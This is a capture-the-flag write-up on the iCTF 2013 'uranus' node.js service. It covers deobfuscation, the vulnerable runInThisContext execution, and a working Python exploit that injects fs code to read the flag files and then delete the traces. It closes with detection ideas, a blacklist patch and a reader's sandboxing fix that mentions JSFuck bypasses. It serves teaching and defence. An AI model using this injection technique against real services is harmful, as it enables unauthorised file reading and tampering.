Due to the code listings and some blah, this write-up is quite lengthy. Prepare some coffee first. 😎
Deobfuscation
The uranus service from iCTF 2013 (code) is a node.js service written by @kapravel which has to be deobfuscated. Using jsbeautifier.org we get a better look on the code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 |
var r3A8 = (function () { var U8 = (function (Z8, S8) { var D8 = "", C8 = 'return ', e8 = ((0x1B2, 95.) < (45, 92.60E1) ? (7.07E2, false) : (110., 6.2E1) > 0x179 ? 1 : (129, 9.4E2)); if (Z8.length > ((0x1EF, 21.) < (1.18E3, 14) ? (0x139, 1) : 32. > (23, 0xB9) ? (1.97E2, "R") : (6.350E2, 97.) <= 0x1F9 ? (39., 12) : (31.3E1, 0x1B5))) for (var r8 = ((117., 140.) <= (0x18A, 138.) ? (0xA9, "z") : (17., 1.71E2) <= (0x212, 58.) ? (147.8E1, 130) : 0x106 < (33., 0x226) ? (26., 13) : (0x1D2, 0xFB)); r8 > ((54.30E1, 0xF1) >= (1.5E1, 7.390E2) ? (0, 38.1E1) : (0x1F9, 0x133) > 79.10E1 ? (68, '\n') : (133.1E1, 81) < 0x173 ? (22., 1) : (1.241E3, 0x41));) D8 += (e8 = (e8 ? ((76, 0x167) < (6.2E2, 12.93E2) ? (18.0E1, false) : (0x127, 90.80E1) <= 1.16E2 ? (7.96E2, 0x69) : (10.93E2, 22.8E1)) : ((0x1F8, 0x1FE) > (30.1E1, 124.) ? (31., true) : (37.80E1, 110.7E1)))) ? Z8.charAt(r8) : "@%)eitg)(tDwn".charAt(r8--); return S8 === ((49.5E1, 0x8B) > (61, 0x20D) ? (56.6E1, "l") : (147, 106) <= (0x15, 131.) ? (56, null) : (109., 95.2E1)) ? [(145.5E1 > (4.11E2, 0x1C5) ? (0x244, null) : 14.67E2 <= (100, 119.) ? (75.4E1, false) : (0x16D, 106.) < 12. ? 0x222 : (8.64E2, 0xF5))].constructor.constructor(C8 + D8)() : S8 ^ Z8 })("_9(mTe.)ea e(", ((0x127, 0x216) > (130.6E1, 0x25) ? (2.36E2, null) : (62., 142) < (0x251, 72) ? (128.0E1, 'R') : (0x19, 90.30E1) < 21. ? (127, 9.5E2) : (0x4D, 9.540E2))); return { J8: function (H8) { var g8, R8 = ((1.414E3, 117) >= 70. ? (12.0E1, 0) : (73.5E1, 147.70E1) <= 2.5E1 ? (1.3980E3, true) : (53, 98.2E1)), W8 = ((44.6E1, 130.20E1) > 0x133 ? (24.6E1, 0x142CF49F580) : (12.9E1, 10.) >= 133. ? (107., 0x193) : (0x240, 0x4E)) > U8, G8; for (; R8 < H8.length; R8++) { G8 = (parseInt(H8.charAt(R8), 16)).toString((14. > (0x9D, 0x21D) ? (0x155, 0xCD) : (42.40E1, 141.) <= 76. ? (3.25E2, 42) : 132. < (0x62, 11.99E2) ? (94.10E1, 2) : (0x8B, 34))); g8 = R8 == 0 ? G8.charAt(G8.length - 1) : g8 ^ G8.charAt(G8.length - 1) } return g8 ? W8 : !W8 } }; })(); var z9o2 = r3A8.J8("63") ? { 'p2': "length", 'n2': "fs", 'w4': "toString", 'J4': "-", 'v2': "listen", 'R4': "log", 'a4': 'uncaughtException', 'd2': '0.0.0.0', 'c4': 'Server running at http://0.0.0.0:1337/', 'Q4': "http", 'N4': 'text/plain', 'W4': "createServer", 'Q2': {}, 'M4': 1337, 't2': "on", 's4': "submissions", 'x2': "/", 'y2': 1, 'X2': 200, 'f2': "end", 'l2': "", 'A4': "writeHead" } : 1337; function handle(E, b) { var k = r3A8.J8("aa2e") ? 'You suck\n' : 'Welcome to Uranus!\nWith the last update of our nuclear reactor we can now control critical variables of the process through the easyness of JavaScript. Uranus is here to proof-check your code for safety before you submit it directly to the reactor. \n\nUse HTTP POST to submit your code.', V = r3A8.J8("f56") ? "test" : "POST", s = r3A8.J8("a6cf") ? "indexOf" : "l", c = r3A8.J8("5613") ? "method" : "writeFileSync"; if (E[c][s](V) != -z9o2.y2) { handlePOST(E, b); return; } else { b[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); b[z9o2.f2](k); } } function makeSandbox() { delete eval; delete Function; delete require; delete fs; } function loadSubmission(b, k) { var V = r3A8.J8("81") ? "No password found" : "token", s = r3A8.J8("c14") ? "match" : "toString", c = r3A8.J8("5f") ? "eval" : "readFileSync", w = r3A8.J8("ffb7") ? 'Server running at http://0.0.0.0:1337/' : z9o2.s4, z = r3A8.J8("fb") ? 'Your code has runtime errors: ' : b + z9o2.J4 + k; try { var O = r3A8.J8("67cf") ? "Code contains unsafe functionality.\n" : ff[c](w + z9o2.x2 + z)[z9o2.w4](); return O[s](/password = "([0-9a-zA-Z]{16})"/)[z9o2.y2]; } catch (E) {; } return V; } function test(b) { var k = r3A8.J8("1b") ? "k" : "runInThisContext", V = r3A8.J8("81e") ? "vm" : "handlePOST", s = r3A8.J8("74") ? function (E) { global = r3A8.J8("a11a") ? "g" : E; } : false, c = r3A8.J8("33c1") ? function (E) { password = r3A8.J8("77") ? "loadSubmission" : E; } : "submissions", w = r3A8.J8("d5") ? "retval" : require(V); c(z9o2.l2); s(z9o2.l2); w[k](b[z9o2.w4]()); return password; } function storeSubmission(b, k, V) { var s = r3A8.J8("ac") ? "handle" : "writeFileSync", c = r3A8.J8("3a8") ? "mkdirSync" : "http", w = r3A8.J8("6ef") ? "statSync" : "err", z = z9o2.s4, O = b + z9o2.J4 + k; try { var Z = ff[w](z); } catch (E) {; } if (!Z) ff[c](z); ff[s](z + z9o2.x2 + O, V); } function checkCode(E) { var b = r3A8.J8("61") ? true : "res", k = r3A8.J8("2f7") ? "test" : false, V = "test", s = r3A8.J8("3ae") ? ((30, 0xC4) < (96.5E1, 9) ? 'R' : (105.2E1, 44.) >= (142, 1.183E3) ? (110, 133.70E1) : 120. > (53.6E1, 96) ? (0x24A, "q") : (8.4E1, 1.5E1)) : "writeFileSync", c = r3A8.J8("ba") ? ((9.99E2, 119.80E1) <= (24., 10.96E2) ? '\n' : 131 >= (0x105, 0x132) ? '\n' : (1.0010E3, 72) <= 23.90E1 ? (124., 0) : (100., 0x254)) : "data", w = [/eval/, /global/, /Function/, /this/]; for (var z = c; A3a[s](z, w[z9o2.p2]); z++) { if (w[z][V](E)) { return k; } } return b; } function handlePOST(G, A) { var N = r3A8.J8("e1c") ? "data" : "hasOwnProperty"; G[z9o2.t2](N, function (k) { var V = 'Your JSON is malformed. Please provide the following properties: flag_id, token, code\n', s = 'Code contains unsafe functionality.\n', c = r3A8.J8("46cf") ? 'Your code is missing an access code to the nuclear reactor. Expected variable according to the documentation is "password".\n' : "Received: %s", w = r3A8.J8("53") ? 'text/plain' : 'Code approved. Please check your parameters carefully before deploying the code to the nuclear reactor.\n', z = r3A8.J8("555") ? "U" : "i", O = r3A8.J8("8ccd") ? '\n' : true, Z = 'Your password: ', e = "code", T = "token", D = r3A8.J8("2235") ? "e" : "flag_id", J = r3A8.J8("8f") ? "hasOwnProperty" : "hasOwnProperty", R = r3A8.J8("2fb") ? "patterns" : "parse"; try { data_json = JSON[R](k); } catch (E) { var b = function () { data_json = r3A8.J8("265") ? {} : ((0x17B, 149.) >= (30., 0x20F) ? (12.17E2, "vm") : (7.79E2, 128) <= 0x1A6 ? (21.90E1, 200) : (57., 53.) > 106.7E1 ? (7.26E2, 84.) : (11.61E2, 1.5E2)); }; b(); } if (data_json[J](D) && data_json[J](T)) { if (!data_json[J](e)) { old_password = loadSubmission(data_json[D], data_json[T]); A[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); A[z9o2.f2](Z + old_password + O); } else { var W = r3A8.J8("d6b7") ? function (E) { code = E[e]; } : "No password found", B = function (E) { password = r3A8.J8("5c78") ? "retval" : E; }; B(z9o2.l2); W(data_json); if (checkCode(code)) { try { retval = r3A8.J8("c4") ? "Server running at http://0.0.0.0:1337/" : test(code[z9o2.w4]()); } catch (E) { var b = r3A8.J8("b38a") ? "Your password: " : 'Your code has runtime errors: '; A[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); A[z9o2.f2](b + E + O); } try { if (A3a[z](password[z9o2.p2], z9o2.y2)) { storeSubmission(data_json[D], data_json[T], code); A[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); A[z9o2.f2](w); } } catch (E) { console[z9o2.R4](E); } A[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); A[z9o2.f2](c); } } A[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); A[z9o2.f2](s); } else { A[z9o2.A4](z9o2.X2, { 'Content-Type': z9o2.N4 }); A[z9o2.f2](V); } }); } var A3a = { 'U': function (E, b) { return E >= b; }, 'q': function (E, b) { return E < b; }, 'M': {} }; http = r3A8.J8("c534") ? "submissions" : require(z9o2.Q4); ff = r3A8.J8("6422") ? 200 : require(z9o2.n2); process[z9o2.t2](z9o2.a4, function (E) { var b = 'Caught exception: '; console[z9o2.R4](b + E); }); http[z9o2.W4](handle)[z9o2.v2](z9o2.M4, z9o2.d2); console[z9o2.R4](z9o2.c4 |
For more PITA, the authors used ternaries for almost all variable assignments, e.g. s = r3A8.J8("c14") ? "match" : "toString"
, and the following function to determine the correct value for each variable:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
var r3A8 = (function () { var U8 = (function (Z8, S8) { var D8 = "", C8 = 'return ', e8 = ((0x1B2, 95.) < (45, 92.60E1) ? (7.07E2, false) : (110., 6.2E1) > 0x179 ? 1 : (129, 9.4E2)); if (Z8.length > ((0x1EF, 21.) < (1.18E3, 14) ? (0x139, 1) : 32. > (23, 0xB9) ? (1.97E2, "R") : (6.350E2, 97.) <= 0x1F9 ? (39., 12) : (31.3E1, 0x1B5))) for (var r8 = ((117., 140.) <= (0x18A, 138.) ? (0xA9, "z") : (17., 1.71E2) <= (0x212, 58.) ? (147.8E1, 130) : 0x106 < (33., 0x226) ? (26., 13) : (0x1D2, 0xFB)); r8 > ((54.30E1, 0xF1) >= (1.5E1, 7.390E2) ? (0, 38.1E1) : (0x1F9, 0x133) > 79.10E1 ? (68, '\n') : (133.1E1, 81) < 0x173 ? (22., 1) : (1.241E3, 0x41));) D8 += (e8 = (e8 ? ((76, 0x167) < (6.2E2, 12.93E2) ? (18.0E1, false) : (0x127, 90.80E1) <= 1.16E2 ? (7.96E2, 0x69) : (10.93E2, 22.8E1)) : ((0x1F8, 0x1FE) > (30.1E1, 124.) ? (31., true) : (37.80E1, 110.7E1)))) ? Z8.charAt(r8) : "@%)eitg)(tDwn".charAt(r8--); return S8 === ((49.5E1, 0x8B) > (61, 0x20D) ? (56.6E1, "l") : (147, 106) <= (0x15, 131.) ? (56, null) : (109., 95.2E1)) ? [(145.5E1 > (4.11E2, 0x1C5) ? (0x244, null) : 14.67E2 <= (100, 119.) ? (75.4E1, false) : (0x16D, 106.) < 12. ? 0x222 : (8.64E2, 0xF5))].constructor.constructor(C8 + D8)() : S8 ^ Z8 })("_9(mTe.)ea e(", ((0x127, 0x216) > (130.6E1, 0x25) ? (2.36E2, null) : (62., 142) < (0x251, 72) ? (128.0E1, 'R') : (0x19, 90.30E1) < 21. ? (127, 9.5E2) : (0x4D, 9.540E2))); return { J8: function (H8) { var g8, R8 = ((1.414E3, 117) >= 70. ? (12.0E1, 0) : (73.5E1, 147.70E1) <= 2.5E1 ? (1.3980E3, true) : (53, 98.2E1)), W8 = ((44.6E1, 130.20E1) > 0x133 ? (24.6E1, 0x142CF49F580) : (12.9E1, 10.) >= 133. ? (107., 0x193) : (0x240, 0x4E)) > U8, G8; for (; R8 < H8.length; R8++) { G8 = (parseInt(H8.charAt(R8), 16)).toString((14. > (0x9D, 0x21D) ? (0x155, 0xCD) : (42.40E1, 141.) <= 76. ? (3.25E2, 42) : 132. < (0x62, 11.99E2) ? (94.10E1, 2) : (0x8B, 34))); g8 = R8 == 0 ? G8.charAt(G8.length - 1) : g8 ^ G8.charAt(G8.length - 1) } return g8 ? W8 : !W8 } }; })(); |
For each ternary the condition is determined by calling r3A8.J8()
with a hex string as argument, so we start digging there.
We see that in line 13 of the above code the comparison with r3A8.U8()
always yielded true for the duration of the iCTF 2013: r3A8.U8()
returns the current time in milliseconds and the left part of the comparison just yields the fix value 1386457200000, a timestamp in milliseconds equal to 2013-12-08 00:00:00 UTC. Also, R8 = 0.
In the for loop the LSB of each char (interpreted as hex digit) of the supplied string is XORed with the others. The resulting bit is returned as Boolean.
A more readable version of r3A8.J8()
is as follows:
1 2 3 4 5 6 7 8 9 10 11 12 |
// hash function which maps a hex string to Boolean var determine = function (x) { var bit, charBitString; for (var i = 0; i < x.length; i++) { // interpret each character of x as hex and get bit representation charBitString = (parseInt(x.charAt(i), 16)).toString(2); // determine LSB of char, then XOR with previous XOR result (if existing) bit = i == 0 ? charBitString.charAt(charBitString.length - 1) : bit ^ charBitString.charAt(charBitString.length - 1) } // return final bit as Boolean return bit ? true : false }; |
So basically this function determines the return value by just counting all odd hex digits to see if the total count is also odd.
Examples:
- 9abc – false (2 odd digits: 9, b)
- 9abcd – true (3 odd digits: 9, b, d)
We write a short script which determines the correct assignment for each variable and clean up the whole mess by removing any parts which are not necessary anymore. The result is the following quite readable version of the code which can be used in place of the original one:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
// request handler, accepts POST and nothing else function handle(req, res) { if (req.method.indexOf("POST") != -1) { handlePOST(req, res); return; } else { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Welcome to Uranus!\nWith the last update of our nuclear reactor we can now control critical variables of the process through the easyness of JavaScript. Uranus is here to proof-check your code for safety before you submit it directly to the reactor. \n\nUse HTTP POST to submit your code.'); } } // TROLOLO function makeSandbox() { delete eval; delete Function; delete require; delete fs; } // reads file with supplied name, searches for a password and returns it if found function loadSubmission(flag_id, token) { try { var fileContent = ff.readFileSync("submissions/" + flag_id + "-" + token).toString(); return fileContent.match(/password = "([0-9a-zA-Z]{16})"/)[1]; } catch (E) {} return "No password found"; } // executes supplied code in global context, ignores local context function test(code) { var vm = require("vm"); global = ""; password = ""; // password is global so it can be used in vm.runInThisContext() vm.runInThisContext(code.toString()); return password; } // stores code in file submissions/flag_id-token function storeSubmission(flag_id, token, code) { try { var dirExists = ff.statSync("submissions"); } catch (E) {} if (!dirExists) ff.mkdirSync("submissions"); ff.writeFileSync("submissions/" + flag_id + "-" + token, code); } // fails if unwanted code exists function checkCode(E) { var forbidden = [/eval/, /global/, /Function/, /this/]; for (var i = 0; i < forbidden.length; i++) { if (forbidden[i].test(E)) { return false; } } return true; } // POST request handler function handlePOST(req, res) { req.on("data", function (input) { try { data_json = JSON.parse(input); } catch (E) { data_json = {}; } // check if flag_id and token are set if (data_json.hasOwnProperty("flag_id") && data_json.hasOwnProperty("token")) { // if no code is supplied return password from file with supplied name if (!data_json.hasOwnProperty("code")) { old_password = loadSubmission(data_json.flag_id, data_json.token); res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Your password: ' + old_password + '\n'); } else { password = ""; code = data_json.code; // check for unwanted code if (checkCode(code)) { try { // execute code, the magic happens here retval = test(code.toString()); } catch (E) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Your code has runtime errors: ' + E + '\n'); } try { // check if global password was set during code execution if (password.length >= 1) { // store code into file with supplied name storeSubmission(data_json.flag_id, data_json.token, code); res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Code approved. Please check your parameters carefully before deploying the code to the nuclear reactor.\n'); } } catch (E) { console.log(E); } res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Your code is missing an access code to the nuclear reactor. Expected variable according to the documentation is "password".\n'); } } res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Code contains unsafe functionality.\n'); } else { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Your JSON is malformed. Please provide the following properties: flag_id, token, code\n'); } }); } // initialization http = require("http"); ff = require("fs"); process.on('uncaughtException', function (E) { console.log('Caught exception: ' + E); }); http.createServer(handle).listen(1337, '0.0.0.0'); console.log('Server running at http://0.0.0.0:1337/') |
Service
The service only accepts POST requests which contain specific JSON data, other requests are dropped with an info message. The JSON data of each POST request is intercepted for flag_id, token and code properties. At least the properties flag_id and token are required.
If only the code property is missing, the service tries to read a file with the name flag_id + “-” + token from the submissions directory. If such a file exists the service returns the first password that matches /password = "([0-9a-zA-Z]{16}"/
within that file. Since (surprise!) password = flag, this is how flags can be retrieved from the service.
If all three properties exist, the supplied code is checked for unwanted statements and then, if found to be valid, executed in global context. This means that we can modify global variables (like password) with our code. After that, the length of the global password is checked and, if not zero, the supplied code is stored into a file with a file name derived from flag_id and token, as mentioned in the previous paragraph. Since the supplied code must modify password in order to pass the subsequent length check and get stored, this is how new flags are pushed to the service.
Exploit
To get any flags from this service we need to know the exact name of the file which contains a flag – unfortunately, only the first part of such a file name is provided: the flag_id available in the exploit template. However, we can use the code property to run some node.js code on the server which deals with this problem:
First we create a POST request with an arbitrary flag_id and token and include code that uses the node.js fs module to search the submission directory for the file with the name that contains the actual flag_id provided by the exploit template. Then we read the found file (there should only be one), retrieve the line where the password assignment happens and write the whole thing into a new file with a unique name, e.g. all-your-wizardry-are-belong-to-us. Since we do not explicitly set the global password our code itself doesn’t get stored at all.
Code:
1 2 3 4 5 6 7 8 9 10 11 |
var files = ff.readdirSync("submissions"); for (var i = 0; i<files.length; i++) { if (files[i].match(/.../)) { // use template-supplied flag_id here var cont = ff.readFileSync("submissions/" + files[i]).toString(); var m = cont.match(/(password = "FLG.{13})"/); if (m) { ff.writeFileSync("submissions/all-your-wizardry-are-belong-to-us", m[1]); break; } } } |
Using a second POST request we retrieve the password which we just stored: We omit the code property and provide the unique file name from our first request via flag_id and token. Therefore, the service gladly reads the file and provides us with the password. Flag captured.
Example exploit using the template:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
class Exploit(): flag = '' def execute(self, ip, port, flag_id): import urllib2 import json import re dummy1 = "doesnt-matter" dummy2 = "not-gonna-be-written" flagfile1 = "all-your-wizardry" flagfile2 = "are-belong-to-us" # prepare node.js code to read password from file where file name contains flag_id, then store password into a new file data = json.dumps({ "flag_id": dummy1, "token": dummy2, "code": 'var files = ff.readdirSync("submissions"); for (var i = 0; i<files.length; i++) { if (files[i].match(/%s/)) { var cont = ff.readFileSync("submissions/" + files[i]).toString(); var m = cont.match(/password = "(FLG.{13})"/); if (m) { ff.writeFileSync("submissions/%s-%s", m[1]); break; }}}' % (flag_id, flagfile1, flagfile2) }) urllib2.urlopen("http://%s:%d" % (ip, port), data) # get just-stored password data = json.dumps({"flag_id": flagfile1, "token": flagfile2}) flagdump = urllib2.urlopen("http://%s:%d" % (ip, port), data).read() m = re.search('Your password: (FLG.{13})', flagdump) if m: self.flag = m.group(1) # clean up ;) data = json.dumps({"flag_id": dummy1, "token": dummy2, "code": 'ff.unlinkSync("submissions/%s-%s");' % (flagfile1, flagfile2)}) urllib2.urlopen("http://%s:%d" % (ip, port), data) def result(self): return {'FLAG' : self.flag} |
Detection
To detect attacks we simply look for any occurrences of readdir in the uranus traffic.
Patch
A patch can be applied by preventing any calls to fs.readdir()
or fs.readdirSync()
. This can be done by simply adding readdir to the array with unwanted code in checkCode()
:
1 2 3 4 5 6 7 8 9 10 |
// fails if unwanted code exists function checkCode(E) { var forbidden = [/eval/, /global/, /Function/, /this/, /readdir/]; for (var i = 0; i < forbidden.length; i++) { if (forbidden[i].test(E)) { return false; } } return true; } |
However, as mentioned in this comment, the above approach is still vulnerable to obfuscation techniques.
Hi,
first of all: cool write-up!
I think that your patch would still be vulnerable to attacks. You simple could use JSFuck (jsfuck,com) to obfuscate the payload and bypass your filter. Blacklistfilters are bad 🙁
We patched the service using the following patch:
1. Create a new sandbox: e.g.
sanbox = {
password: ”,
ff: ”,
//some more global vars
}
2. Use vm.runInNewContext(code,sandbox)
3. return the new password variable
The javascript only has access to the variables listed in the sandbox-variable.
That fix worked good for us 🙂 (or better: It seemed to work)
Best regards,
Sebastian N. (@internetwache)
Nice find, we didn’t look into that. Now that
makeSandbox()
hint in the code makes sense.. 🙂